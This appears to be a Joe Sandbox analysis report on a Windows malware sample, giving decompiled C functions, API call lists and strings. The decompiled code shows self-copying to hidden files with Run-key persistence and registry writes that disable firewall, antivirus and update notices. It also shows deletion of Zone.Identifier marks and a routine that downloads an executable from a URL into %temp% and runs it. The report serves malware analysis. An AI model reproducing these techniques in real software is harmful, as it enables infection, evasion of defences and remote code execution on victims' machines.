Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction Fuzzy Hash: 47E01275650308FBDB14DBD1EC49F9A777CAB48740F108154B709A7284DAB5EA408768

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 59
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DD70(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t20;
				void* _t24;

				_t27 = __edi;
				_t24 = E00408B00(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11); // executed
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DD00(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10); // executed
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						_t20 = CreateThread(0, 0, E0040DAD0, _t24, 0, 0); // executed
						 *(_t24 + 0x14) = _t20;
						goto L6;
					} else {
						E0040DD00(_t24, _t27);
						return 0;
					}
				}
			}

0x0040dd70
0x0040dd82
0x0040dd88
0x0040dd8e
0x0040dd95
0x0040dda1
0x0040dda4
0x0040ddaa
0x0040ddb0
0x0040ddb2
0x0040ddb7
0x0040ddb7
0x0040ddbb
0x0040de1a
0x0040de20
0x0040ddbd
0x0040ddbf
0x0040ddc3
0x0040ddc7
0x0040ddcb
0x0040dddb
0x0040dde5
0x0040ddee
0x0040de0e
0x0040de11
0x0040de17
0x00000000
0x0040ddf0
0x0040ddf0
0x0040ddfb
0x0040ddfb
0x0040ddee

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

CreateThread.KERNELBASE(00000000,00000000,Function_0000DAD0,00000000,00000000,00000000), ref: 0040DE11

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: f8f3b0d91992a3f05bf20d74a040dd3b5de6542fa6eed3ed5fb2aa002f931ea1
Instruction ID: a1f51b83e62fd1e5ac6bfc854ac0cad300f812e19a803ea918e078540f5b95b0
Opcode Fuzzy Hash: f8f3b0d91992a3f05bf20d74a040dd3b5de6542fa6eed3ed5fb2aa002f931ea1
Instruction Fuzzy Hash: 9611C870A40300AFE7009FB49C86B577AA0EF44710F50897AFA08DE2D1D2F4D8488756

Uniqueness

Uniqueness Score: -1.00%

Function 00405E10 Relevance: 170.2, APIs: 60, Strings: 37, Instructions: 492
registrysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				int _v536;
				char _v1060;
				void* _v1064;
				char _v1588;
				short _v2108;
				intOrPtr _v2112;
				short _v2636;
				void* _v2640;
				char _v3044;
				intOrPtr* _v3048;
				int _v3052;
				short _v3054;
				short _v3056;
				int _v3060;
				int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				intOrPtr* _v3084;
				intOrPtr _v3088;
				short _v3090;
				signed int _v3096;
				void* _t121;
				int _t129;
				long _t130;
				long _t132;
				signed char _t133;
				void* _t142;
				intOrPtr _t145;
				intOrPtr _t149;
				signed char _t192;
				signed char _t203;
				int _t210;
				short _t215;
				intOrPtr _t219;
				short _t245;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t278;
				void* _t279;
				void* _t286;

				Sleep(0xbb8); // executed
				_v536 = 0;
				_v2112 = 0x235a;
				while(_v536 < _v2112) {
					_t210 = PathFileExistsW(L"2393737939739"); // executed
					if(_t210 != 0) {
						CopyFileW(L"297973937,", L"33973397337", 0);
						MoveFileA("337372927", "2282688262");
						MoveFileW(L"038038", L"333383737");
					}
					_v536 = _v536 + 1;
				}
				_t121 = CreateMutexA(0, 0, "2u9o0b7n"); // executed
				_v2640 = _t121;
				if(GetLastError() != 0xb7) {
					_v1064 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, 0x4169d8, 0x105);
					_v532 = PathFindFileNameW(0x4169d8);
					wsprintfW( &_v524, L"%s:Zone.Identifier", 0x4169d8);
					_t279 = _t278 + 0xc;
					DeleteFileW( &_v524); // executed
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2636, 0x104);
					_v3048 = 0x414bf0;
					_v3052 = _v532;
					while(1) {
						_t129 = _v3052;
						_t215 =  *_t129;
						_v3054 = _t215;
						if(_t215 !=  *_v3048) {
							break;
						}
						if(_v3054 == 0) {
							L12:
							_v3060 = 0;
							L14:
							_v3064 = _v3060;
							if(_v3064 == 0) {
								L31:
								Sleep(0x1f4); // executed
								_t130 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1064); // executed
								if(_t130 == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4); // executed
									RegCloseKey(_v1064); // executed
								}
								_t132 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1064); // executed
								if(_t132 == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								Sleep(0x1f4); // executed
								_t133 = E0040B1C0(); // executed
								if((_t133 & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3044); // executed
									wsprintfW("C:\Users\Alvin\tbnds.dat", L"%s\\tbnds.dat",  &_v2636);
									wsprintfW("C:\Users\Alvin\tbcmds.dat", L"%s\\tbcmds.dat",  &_v2636);
									CreateThread(0, 0, E004043F0, 0, 0, 0); // executed
									Sleep(0x3e8); // executed
									CreateThread(0, 0, E004054A0, 0, 0, 0); // executed
									Sleep(0x3e8); // executed
									CreateThread(0, 0, E00405CF0, 0, 0, 0); // executed
									Sleep(0x2710); // executed
									E004045F0(); // executed
									_t142 = E0040D020(); // executed
									E00405BA0(_t142,  &_v2636); // executed
									 *0x416e0c = CreateEventA(0, 1, 0, 0); // executed
									_t145 = E0040A8F0( &_v2636); // executed
									 *0x416e14 = _t145;
									 *0x416e10 = E0040BAF0( &_v2636); // executed
									E00409D40(); // executed
									_t253 =  *0x416e10; // 0x2420638
									E0040BBA0(_t253, 0, E0040BFB0, 0, 0, 0); // executed
									_t149 =  *0x416e10; // 0x2420638
									E0040BBA0(_t149, 0, E0040BF10, 0, 0, 0); // executed
									_t219 =  *0x416e10; // 0x2420638
									E0040BBA0(_t219, 0, E0040BAA0, 0, 0, 0); // executed
									_t254 =  *0x416e10; // 0x2420638
									E0040BBA0(_t254, 0, E0040B8A0, 0, 0, 0); // executed
								}
								return 0;
							}
							if((E0040D0F0() & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2108, 0x104);
								wsprintfW( &_v1588, L"%s\\%s",  &_v2108, 0x414bf0);
								_t286 = _t279 + 0x10;
								if(CopyFileW(0x4169d8,  &_v1588, 0) == 0) {
									L24:
									Sleep(0x1f4);
									wsprintfW( &_v1060, L"%s\\%s",  &_v2636, 0x414bf0);
									_t279 = _t286 + 0x10;
									if(CopyFileW(0x4169d8,  &_v1060, 0) == 0) {
										goto L31;
									}
									SetFileAttributesW( &_v1060, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
										L29:
										_t192 = E0040D390( &_v1060);
										_t279 = _t279 + 4;
										if((_t192 & 0x000000ff) != 1) {
											goto L31;
										}
										ExitProcess(0);
									}
									_v3084 =  &_v1060;
									_v3088 = _v3084 + 2;
									do {
										_v3090 =  *_v3084;
										_v3084 = _v3084 + 2;
									} while (_v3090 != 0);
									_v3096 = _v3084 - _v3088 >> 1;
									RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1060, _v3096 + _v3096 + 2);
									RegCloseKey(_v1064);
									goto L29;
								}
								SetFileAttributesW( &_v1588, 3);
								if(RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
									L22:
									_t203 = E0040D390( &_v1588);
									_t286 = _t286 + 4;
									if((_t203 & 0x000000ff) != 1) {
										goto L24;
									}
									ExitProcess(0);
								}
								_v3068 =  &_v1588;
								_v3072 = _v3068 + 2;
								do {
									_v3074 =  *_v3068;
									_v3068 = _v3068 + 2;
								} while (_v3074 != 0);
								_v3080 = _v3068 - _v3072 >> 1;
								RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1588, _v3080 + _v3080 + 2);
								RegCloseKey(_v1064);
								goto L22;
							}
							ExitProcess(0);
						}
						_t129 = _v3052;
						_t245 =  *((intOrPtr*)(_t129 + 2));
						_v3056 = _t245;
						_t25 = _v3048 + 2; // 0x790073
						if(_t245 !=  *_t25) {
							break;
						}
						_v3052 = _v3052 + 4;
						_v3048 = _v3048 + 4;
						if(_v3056 != 0) {
							continue;
						}
						goto L12;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v3060 = _t129;
					goto L14;
				}
				ExitProcess(0);
			}

0x00405e1e
0x00405e24
0x00405e2e
0x00405e38
0x00405e4b
0x00405e53
0x00405e61
0x00405e71
0x00405e81
0x00405e81
0x00405e90
0x00405e90
0x00405ea1
0x00405ea7
0x00405eb8
0x00405ec2
0x00405ecc
0x00405ee2
0x00405ef3
0x00405f0a
0x00405f10
0x00405f1a
0x00405f31
0x00405f37
0x00405f47
0x00405f4d
0x00405f4d
0x00405f53
0x00405f56
0x00405f66
0x00000000
0x00000000
0x00405f70
0x00405fa7
0x00405fa7
0x00405fbe
0x00405fc4
0x00405fd1
0x0040623a
0x0040623f
0x0040625d
0x00406265
0x00406284
0x004062a3
0x004062c2
0x004062e1
0x00406300
0x0040631f
0x0040633e
0x0040634b
0x0040634b
0x00406369
0x00406371
0x00406390
0x004063af
0x004063ce
0x004063ed
0x0040640c
0x0040642b
0x0040644a
0x00406457
0x00406457
0x00406462
0x00406468
0x00406472
0x00406484
0x0040649b
0x004064b5
0x004064cd
0x004064d8
0x004064ed
0x004064f8
0x0040650d
0x00406518
0x0040651e
0x00406523
0x00406528
0x0040653b
0x00406540
0x00406545
0x0040654f
0x00406554
0x00406566
0x0040656d
0x00406582
0x00406588
0x0040659d
0x004065a4
0x004065b9
0x004065c0
0x004065c5
0x00000000
0x004065cc
0x00405fe2
0x00405ffd
0x0040601b
0x00406021
0x0040603a
0x00406119
0x0040611e
0x0040613c
0x00406142
0x0040615b
0x00000000
0x00000000
0x0040616a
0x00406190
0x0040621b
0x00406222
0x00406227
0x00406230
0x00000000
0x00000000
0x00406234
0x00406234
0x0040619c
0x004061ab
0x004061b1
0x004061ba
0x004061c1
0x004061c8
0x004061e0
0x00406208
0x00406215
0x00000000
0x00406215
0x00406049
0x0040606f
0x004060fa
0x00406101
0x00406106
0x0040610f
0x00000000
0x00000000
0x00406113
0x00406113
0x0040607b
0x0040608a
0x00406090
0x00406099
0x004060a0
0x004060a7
0x004060bf
0x004060e7
0x004060f4
0x00000000
0x004060f4
0x00405fe6
0x00405fe6
0x00405f72
0x00405f78
0x00405f7c
0x00405f89
0x00405f8d
0x00000000
0x00000000
0x00405f8f
0x00405f96
0x00405fa5
0x00000000
0x00000000
0x00000000
0x00405fa5
0x00405fb3
0x00405fb5
0x00405fb8
0x00000000
0x00405fb8
0x00405ebc

APIs

Sleep.KERNELBASE(00000BB8), ref: 00405E1E
PathFileExistsW.KERNELBASE(2393737939739), ref: 00405E4B
CopyFileW.KERNEL32(297973937,,33973397337,00000000), ref: 00405E61
MoveFileA.KERNEL32(337372927,2282688262), ref: 00405E71
MoveFileW.KERNEL32(038038,333383737), ref: 00405E81
CreateMutexA.KERNELBASE(00000000,00000000,2u9o0b7n), ref: 00405EA1
GetLastError.KERNEL32 ref: 00405EAD
ExitProcess.KERNEL32 ref: 00405EBC
GetModuleFileNameW.KERNEL32(00000000,004169D8,00000105), ref: 00405EE2
PathFindFileNameW.SHLWAPI(004169D8), ref: 00405EED
wsprintfW.USER32 ref: 00405F0A
DeleteFileW.KERNELBASE(?), ref: 00405F1A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405F31
ExitProcess.KERNEL32 ref: 00405FE6
ExpandEnvironmentStringsW.KERNEL32(%windir%,?,00000104), ref: 00405FFD
wsprintfW.USER32 ref: 0040601B
CopyFileW.KERNEL32(004169D8,?,00000000), ref: 00406032
SetFileAttributesW.KERNEL32(?,00000003), ref: 00406049
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,00000000), ref: 00406067
RegSetValueExW.ADVAPI32(00000000,Windows Settings,00000000,00000001,?,?), ref: 004060E7
RegCloseKey.ADVAPI32(00000000), ref: 004060F4
ExitProcess.KERNEL32 ref: 00406113
Sleep.KERNEL32(000001F4), ref: 0040611E
wsprintfW.USER32 ref: 0040613C
CopyFileW.KERNEL32(004169D8,?,00000000), ref: 00406153
SetFileAttributesW.KERNEL32(?,00000003), ref: 0040616A
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,00000000), ref: 00406188
RegSetValueExW.ADVAPI32(00000000,Windows Settings,00000000,00000001,?,?), ref: 00406208
RegCloseKey.ADVAPI32(00000000), ref: 00406215
ExitProcess.KERNEL32 ref: 00406234
Sleep.KERNELBASE(000001F4), ref: 0040623F
RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,00000000), ref: 0040625D
RegSetValueExA.KERNELBASE(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406284
RegSetValueExA.KERNELBASE(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004062A3
RegSetValueExA.KERNELBASE(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004062C2
RegSetValueExA.KERNELBASE(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004062E1
RegSetValueExA.KERNELBASE(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 00406300
RegSetValueExA.KERNELBASE(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040631F
RegSetValueExA.KERNELBASE(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040633E
RegCloseKey.KERNELBASE(00000000), ref: 0040634B
RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Microsoft\Security Center\Svc,00000000,00020006,00000000), ref: 00406369
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406390
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004063AF
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004063CE
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004063ED
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 0040640C
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040642B
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040644A
RegCloseKey.ADVAPI32(00000000), ref: 00406457
Sleep.KERNELBASE(000001F4), ref: 00406462
WSAStartup.WS2_32(00000202,?), ref: 00406484
wsprintfW.USER32 ref: 0040649B
wsprintfW.USER32 ref: 004064B5
CreateThread.KERNELBASE(00000000,00000000,004043F0,00000000,00000000,00000000), ref: 004064CD
Sleep.KERNELBASE(000003E8), ref: 004064D8
CreateThread.KERNELBASE(00000000,00000000,004054A0,00000000,00000000,00000000), ref: 004064ED
Sleep.KERNELBASE(000003E8), ref: 004064F8
CreateThread.KERNELBASE(00000000,00000000,00405CF0,00000000,00000000,00000000), ref: 0040650D
Sleep.KERNELBASE(00002710), ref: 00406518
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00406535

Strings

2393737939739, xrefs: 00405E46
AntiVirusOverride, xrefs: 004062D5
AntiVirusDisableNotify, xrefs: 004062F4
C:\Users\user\tbcmds.dat, xrefs: 004064B0
FirewallOverride, xrefs: 00406278
FirewallDisableNotify, xrefs: 00406297
297973937,, xrefs: 00405E5C
%windir%, xrefs: 00405FF8
UpdatesDisableNotify, xrefs: 0040643E
038038, xrefs: 00405E7C
FirewallOverride, xrefs: 00406384
FirewallDisableNotify, xrefs: 004063A3
2282688262, xrefs: 00405E67
%userprofile%, xrefs: 00405F2C
Z#, xrefs: 00405E2E
%s\%s, xrefs: 0040600F
%s\%s, xrefs: 00406130
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040617E
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040605D
333383737, xrefs: 00405E77
AntiSpywareOverride, xrefs: 004062B6
Windows Settings, xrefs: 004060DB, 004061FC
%s\tbcmds.dat, xrefs: 004064AB
C:\Users\user\tbnds.dat, xrefs: 00406496
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 0040635F
2u9o0b7n, xrefs: 00405E98
%s:Zone.Identifier, xrefs: 00405EFE
SOFTWARE\Microsoft\Security Center, xrefs: 00406253
AntiVirusOverride, xrefs: 004063E1
337372927, xrefs: 00405E6C
UpdatesOverride, xrefs: 00406313
UpdatesOverride, xrefs: 0040641F
33973397337, xrefs: 00405E57
UpdatesDisableNotify, xrefs: 00406332
%s\tbnds.dat, xrefs: 00406491
AntiVirusDisableNotify, xrefs: 00406400
AntiSpywareOverride, xrefs: 004063C2

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Value$File$Sleep$Createwsprintf$CloseExitOpenProcess$CopyThread$AttributesEnvironmentExpandMoveNamePathStrings$DeleteErrorEventExistsFindLastModuleMutexStartup
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$038038$2282688262$2393737939739$297973937,$2u9o0b7n$333383737$337372927$33973397337$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\tbcmds.dat$C:\Users\user\tbnds.dat$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$Z#
API String ID: 2549499605-3003803097
Opcode ID: 9df56a7f00c6026db0bf5161a891f2dc72f09f899337a89f395dca71d961f2d3
Instruction ID: 83af2952ddda4d09f50abae1b8075a5cb95368c24024515adc0fadd5cc82fc98
Opcode Fuzzy Hash: 9df56a7f00c6026db0bf5161a891f2dc72f09f899337a89f395dca71d961f2d3
Instruction Fuzzy Hash: D1122EB1B80318ABE7209B50DC4AFD97774EB48B05F5081A5B309AA1D1D7F4AAC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4F0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040D4F0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				void* _t112;
				void* _t115;
				int _t119;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_t112 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0); // executed
					_v1576 = _t112;
					if(_v1576 != 0) {
						_t115 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0); // executed
						_v1580 = _t115;
						if(_v1580 != 0xffffffff) {
							while(1) {
								_t119 = InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372); // executed
								if(_t119 == 0 || _v2372 == 0) {
									break;
								}
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0); // executed
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524); // executed
							Sleep(0x3e8);
							_t125 = E0040D1D0( &_v1572); // executed
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D390( &_v1572); // executed
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405de1
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040ECB2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D1D0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D390( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405de1
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

0x0040d500
0x0040d505
0x0040d508
0x0040d520
0x0040d529
0x0040d538
0x0040d53e
0x0040d546
0x0040d54c
0x0040d553
0x0040d568
0x0040d583
0x0040d58b
0x0040d590
0x0040d59f
0x0040d5a4
0x0040d5c6
0x0040d5cc
0x0040d5e2
0x0040d5ef
0x0040d60b
0x0040d611
0x0040d61e
0x0040d63a
0x0040d640
0x0040d64d
0x0040d653
0x0040d66d
0x0040d675
0x00000000
0x00000000
0x0040d69e
0x0040d69e
0x0040d6ad
0x0040d6c6
0x0040d6d6
0x0040d6e1
0x0040d6ee
0x0040d6f3
0x0040d6fb
0x0040d740
0x0040d6fd
0x0040d702
0x0040d70f
0x0040d714
0x0040d71d
0x0040d71f
0x0040d726
0x0040d72a
0x0040d72a
0x0040d730
0x0040d730
0x0040d737
0x0040d6fb
0x0040d74d
0x0040d74d
0x0040d75a
0x0040d75a
0x0040d767
0x0040d772
0x0040d778
0x0040d781
0x0040d787
0x0040d78c
0x0040d79e
0x0040d7a4
0x0040d7a9
0x0040d7b8
0x0040d7bd
0x0040d7df
0x0040d7e8
0x0040d7ea
0x0040d7f2
0x0040d7f9
0x0040d7fa
0x0040d7fc
0x0040d803
0x0040d81c
0x0040d82c
0x0040d837
0x0040d851
0x00000000
0x0040d88e
0x0040d858
0x0040d86d
0x0040d872
0x00000000
0x00000000
0x00000000
0x0040d874
0x0040d87b
0x00000000
0x00000000
0x0040d87f
0x0040d87f
0x0040d803
0x0040d897

APIs

GetTickCount.KERNEL32 ref: 0040D4F9
srand.MSVCRT ref: 0040D500
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D520
mbstowcs.NTDLL ref: 0040D583
rand.MSVCRT ref: 0040D58B
rand.MSVCRT ref: 0040D59F
wsprintfW.USER32 ref: 0040D5C6
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D5DC
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D60B
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D63A
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D66D
WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 0040D69E
CloseHandle.KERNEL32(000000FF), ref: 0040D6AD
wsprintfW.USER32 ref: 0040D6C6
DeleteFileW.KERNELBASE(?), ref: 0040D6D6
ExitProcess.KERNEL32 ref: 0040D72A
Sleep.KERNEL32(000007D0), ref: 0040D702

Part of subcall function 0040D390: memset.NTDLL ref: 0040D39E
Part of subcall function 0040D390: CreateProcessW.KERNELBASE(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Part of subcall function 0040D390: Sleep.KERNEL32(000003E8), ref: 0040D3F5

DeleteFileW.KERNEL32(?), ref: 0040D740
CloseHandle.KERNEL32(000000FF), ref: 0040D74D
